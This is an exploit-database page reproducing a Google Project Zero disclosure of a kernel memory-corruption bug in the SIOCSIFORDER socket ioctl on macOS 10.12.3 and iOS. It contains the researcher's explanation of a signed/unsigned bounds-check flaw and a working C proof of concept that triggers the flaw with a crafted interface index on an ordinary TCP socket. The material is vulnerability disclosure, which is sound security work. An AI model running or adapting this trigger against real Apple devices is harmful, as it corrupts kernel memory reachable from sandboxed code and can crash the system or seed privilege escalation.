Lucene search
K

macOS / iOS Kernel 10.12.3 (16D32) - SIOCSIFORDER Socket ioctl Memory Corruption Due to Bad Bounds C

🗓️ 04 Apr 2017 00:00:00Reported by Google Security ResearchType 
zdt
 zdt
🔗 0day.today👁 37 Views

macOS iOS Kernel 10.12.3 Memory Corruptio

Related
Code
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1108
 
SIOCSIFORDER is a new ioctl added in iOS 10. It can be called on a regular tcp socket, so from pretty much any sandbox.
 
it falls through to calling:
  ifnet_reset_order(ordered_indices, ifo->ifo_count)
where ordered_indicies points to attacker-controlled bytes.
 
ifnet_reset_order contains this code:
 
  for (u_int32_t order_index = 0; order_index < count; order_index++) {
    u_int32_t interface_index = ordered_indices[order_index];  <---------------- (a)
    if (interface_index == IFSCOPE_NONE ||
        (int)interface_index > if_index) {           <-------------------------- (b)
      break;
    }
    ifp = ifindex2ifnet[interface_index];            <-------------------------- (c)
    if (ifp == NULL) {
      continue;
    }
    ifnet_lock_exclusive(ifp);
    TAILQ_INSERT_TAIL(&ifnet_ordered_head, ifp, if_ordered_link);    <---------- (d)
    ifnet_lock_done(ifp);
    if_ordered_count++;
  }
 
at (a) a controlled 32-bit value is read into an unsigned 32-bit variable.
at (b) this value is cast to a signed type for a bounds check
at (c) this value is used as an unsigned index
 
by providing a value with the most-significant bit set making it negative when cast to a signed type
we can pass the bounds check at (b) and lead to reading an interface pointer out-of-bounds
below the ifindex2ifnet array.
 
This leads very directly to memory corruption at (d) which will add the value read out of bounds to a list structure.
 
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
 
(on 64-bit platforms the array index wouldn't wrap around so the read would actually occur > 2GB above the array, not below)
*/
 
// ianbeer
#if 0
MacOS/iOS kernel memory corruption due to Bad bounds checking in SIOCSIFORDER socket ioctl
 
SIOCSIFORDER is a new ioctl added in iOS 10. It can be called on a regular tcp socket, so from pretty much any sandbox.
 
it falls through to calling:
  ifnet_reset_order(ordered_indices, ifo->ifo_count)
where ordered_indicies points to attacker-controlled bytes.
 
ifnet_reset_order contains this code:
 
  for (u_int32_t order_index = 0; order_index < count; order_index++) {
    u_int32_t interface_index = ordered_indices[order_index];  <---------------- (a)
    if (interface_index == IFSCOPE_NONE ||
        (int)interface_index > if_index) {           <-------------------------- (b)
      break;
    }
    ifp = ifindex2ifnet[interface_index];            <-------------------------- (c)
    if (ifp == NULL) {
      continue;
    }
    ifnet_lock_exclusive(ifp);
    TAILQ_INSERT_TAIL(&ifnet_ordered_head, ifp, if_ordered_link);    <---------- (d)
    ifnet_lock_done(ifp);
    if_ordered_count++;
  }
 
at (a) a controlled 32-bit value is read into an unsigned 32-bit variable.
at (b) this value is cast to a signed type for a bounds check
at (c) this value is used as an unsigned index
 
by providing a value with the most-significant bit set making it negative when cast to a signed type
we can pass the bounds check at (b) and lead to reading an interface pointer out-of-bounds
below the ifindex2ifnet array.
 
This leads very directly to memory corruption at (d) which will add the value read out of bounds to a list structure.
 
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif
 
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
 
#include <sys/ioctl.h>
#include <sys/socket.h>
 
#include <mach/mach.h>
 
struct if_order {
    u_int32_t           ifo_count;
    u_int32_t           ifo_reserved;
    mach_vm_address_t   ifo_ordered_indices; /* array of u_int32_t */
};
 
#define SIOCSIFORDER  _IOWR('i', 178, struct if_order)
 
int main() {
    uint32_t data[] = {0x80001234};
 
    struct if_order ifo;
  ifo.ifo_count = 1;
  ifo.ifo_reserved = 0;
  ifo.ifo_ordered_indices = (mach_vm_address_t)data;
 
  int fd = socket(PF_INET, SOCK_STREAM, 0);
  int ret = ioctl(fd, SIOCSIFORDER, &ifo);
 
  return 0;
}

#  0day.today [2018-01-05]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Apr 2017 00:00Current
8.8High risk
Vulners AI Score8.8
EPSS0.04178
37